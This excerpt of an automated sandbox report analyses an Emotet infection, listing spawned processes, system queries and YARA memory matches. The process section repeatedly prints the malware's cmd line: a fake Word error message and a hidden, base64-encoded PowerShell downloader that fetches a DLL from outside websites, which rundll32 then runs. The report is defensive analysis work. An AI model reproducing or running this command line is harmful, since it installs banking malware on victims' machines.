Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAK			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qdobhqhwujf\uzjpmatbfa.knr',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mudnzlzz\tchxmhh.vmn',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tqtjgf\ubkvl.qtt',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qcfwakudils\xdnuofdvuw.mtf',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dmlmufref\lnlrkslr.usd',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vbxkcbxnxe\fkpvaejuz.leu',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tiggqlmpvi\alhryajdx.pgt',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ceqit\srhv.rai',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pjpaiqaldg\belhamieb.mpw',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Amtmltzf\sjpbzbn.ngx',Control_RunDLL

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsA
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAK
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAK			Jump to behavior

Language, Device and Operating System Detection:

Contains functionality to query CPU information (cpuid)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_10004C5A cpuid

7_2_10004C5A

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation

Contains functionality to query local / system time

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_10007D46 GetSystemTimeAsFileTime,GetCurrentThreadId,GetTickCount64,QueryPerformanceCounter,

7_2_10007D46

Queries the cryptographic machine GUID

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Emotet

Source: Yara match	File source: 0000000A.00000002.2089178448.00000000001E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2090592730.0000000000201000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2086510821.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2087952962.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2086489476.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2095527275.0000000000310000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2093891591.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2085294765.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2090461439.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2091736621.00000000006F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2538782658.0000000000301000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2096118747.0000000000370000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2085513682.00000000004B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2096143412.0000000000391000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2095661096.0000000000541000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2093954550.00000000001E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2091756161.0000000000711000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2538759730.00000000002E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2092567080.0000000000241000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2087912939.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2089110018.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2092271796.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 15.2.rundll32.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.390000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.2e0000.0.raw.unpack, type: UNPACKEDPE
